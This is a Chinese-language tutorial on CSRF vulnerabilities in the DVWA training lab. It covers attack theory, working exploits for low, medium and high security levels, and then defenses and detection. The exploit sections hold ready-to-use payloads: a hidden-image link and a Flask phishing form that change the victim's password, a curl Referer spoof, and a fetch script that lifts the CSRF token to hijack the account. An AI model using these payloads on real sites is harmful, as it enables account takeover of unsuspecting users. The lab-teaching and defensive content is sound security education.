DVWA实战：CSRF漏洞原理与防御方案详解-代码聚汇网

DVWA实战：CSRF漏洞原理与防御方案详解

焦秀文

1. 漏洞原理与场景还原

CSRF（Cross-Site Request Forgery）本质上是一种"借刀杀人"的攻击手法。想象这样一个场景：你在银行网站保持登录状态时，不小心点开了黑客发来的钓鱼链接，这个链接里暗藏了转账请求——由于浏览器会自动携带你的认证信息，银行系统会认为这是你本人发起的合法操作。DVWA中的CSRF模块正是模拟这类漏洞的经典教学案例。

与XSS攻击不同，CSRF不需要直接注入恶意代码，而是利用用户已建立的信任关系。根据OWASP Top 10的分类，CSRF属于失效的访问控制漏洞。在DVWA的Low级别设置中，开发者完全没有验证请求来源，就像给保险箱装了密码锁却把密码写在箱盖上。

2. 环境准备与基础配置

2.1 靶场初始化

启动DVWA容器后，需要特别注意以下配置项：

bash复制# 修改配置文件允许跨域请求（模拟真实漏洞场景）
vim /var/www/html/config/config.inc.php
$_DVWA['csrf']['enabled'] = false;  # 确保CSRF防护关闭

2.2 浏览器调试工具准备

推荐使用Firefox+Burp Suite组合：

在Burp的Proxy选项卡中开启拦截功能
配置浏览器代理为127.0.0.1:8080
安装"Tamper Data"插件用于实时修改请求

关键提示：测试前务必清除浏览器缓存，避免旧会话干扰实验结果

3. 低安全级别漏洞利用实战

3.1 密码修改漏洞复现

通过分析修改密码的HTTP请求：

code复制POST /dvwa/vulnerabilities/csrf/ HTTP/1.1
password_new=123456&password_conf=123456&Change=Change

构造恶意链接：

html复制<!-- 伪装成图片的CSRF攻击代码 -->
<a href="http://靶场IP/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">
  <img src="fake_cat.jpg" width="0" height="0">
</a>

3.2 自动化攻击脚本

使用Python快速生成钓鱼页面：

python复制from flask import Flask
app = Flask(__name__)

@app.route('/malicious')
def csrf_attack():
    return '''
    <form action="http://靶场IP/dvwa/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="password_new" value="pwned">
      <input type="hidden" name="password_conf" value="pwned">
      <input type="submit" value="查看你的奖品">
    </form>
    '''

4. 中高安全级别绕过技巧

4.1 中级防护绕过

DVWA中级会检查Referer头，但存在逻辑缺陷：

bash复制# 使用curl伪造Referer
curl -X POST "http://靶场IP/dvwa/vulnerabilities/csrf/" \
  -d "password_new=123&password_conf=123&Change=Change" \
  -H "Referer: http://靶场IP/dvwa/vulnerabilities/csrf/"

4.2 高级防护破解

当系统使用CSRF Token防护时：

先通过XSS漏洞窃取Token
使用AJAX动态构造请求：

javascript复制fetch('/dvwa/vulnerabilities/csrf/')
  .then(r => r.text())
  .then(html => {
    let token = html.match(/user_token' value='(.*?)'/)[1];
    fetch(`/dvwa/vulnerabilities/csrf/?password_new=HACKED&password_conf=HACKED&Change=Change&user_token=${token}`, {credentials: 'include'})
  })

5. 企业级防御方案实现

5.1 服务端防护措施

php复制// 最佳实践示例
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!hash_equals($_SESSION['token'], $_POST['token'])) {
        die("CSRF Token验证失败");
    }
    
    // 添加SameSite Cookie属性
    setcookie('sessionID', session_id(), [
        'samesite' => 'Strict',
        'secure' => true,
        'httponly' => true
    ]);
}

5.2 前端防御策略

关键操作要求二次认证
使用验证码机制
自定义Header校验：

javascript复制// 所有Ajax请求添加指纹头
axios.interceptors.request.use(config => {
    config.headers['X-Request-Sign'] = sha256(window.navigator.userAgent + Date.now());
    return config;
});

6. 渗透测试方法论

6.1 漏洞检测流程

使用Burp的CSRF PoC生成器
检查关键接口的：
- Token缺失
- Referer检查不严
- SameSite属性配置
测试JSON接口的CSRF风险：

bash复制curl -X POST -H "Content-Type: application/json" \
  -d '{"password":"newpass"}' \
  http://靶场IP/api/changePassword

6.2 自动化扫描方案

使用OWASP ZAP进行批量检测：

bash复制docker run -it owasp/zap2docker zap-cli quick-scan \
  -s xss,sqli,csrf \
  -r http://靶场IP/dvwa/vulnerabilities/csrf/

7. 实战中的疑难问题

7.1 现代浏览器防护机制

Chrome 80+版本的SameSite默认策略导致传统CSRF失效时：

使用DNS重绑定攻击
利用CORS配置缺陷
通过WebSocket通道绕过

7.2 API接口的特殊情况

RESTful API的CSRF防护要点：

python复制# Django REST框架示例
from rest_framework.decorators import api_view, permission_classes
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def change_password(request):
    if request.META.get('HTTP_X_REQUESTED_WITH') != 'XMLHttpRequest':
        return Response(status=403)
    # 业务逻辑

8. 企业安全体系建设

8.1 安全开发生命周期

需求阶段：威胁建模确定CSRF风险点
开发阶段：强制使用安全框架
- Spring Security的CSRF防护
- Django的中间件机制
测试阶段：自动化扫描+人工验证

8.2 监控与响应

ELK堆栈实现实时检测：

json复制// Logstash过滤规则
filter {
  if [headers][referer] =~ /external-domain/ {
    mutate { add_tag => "potential_csrf" }
  }
}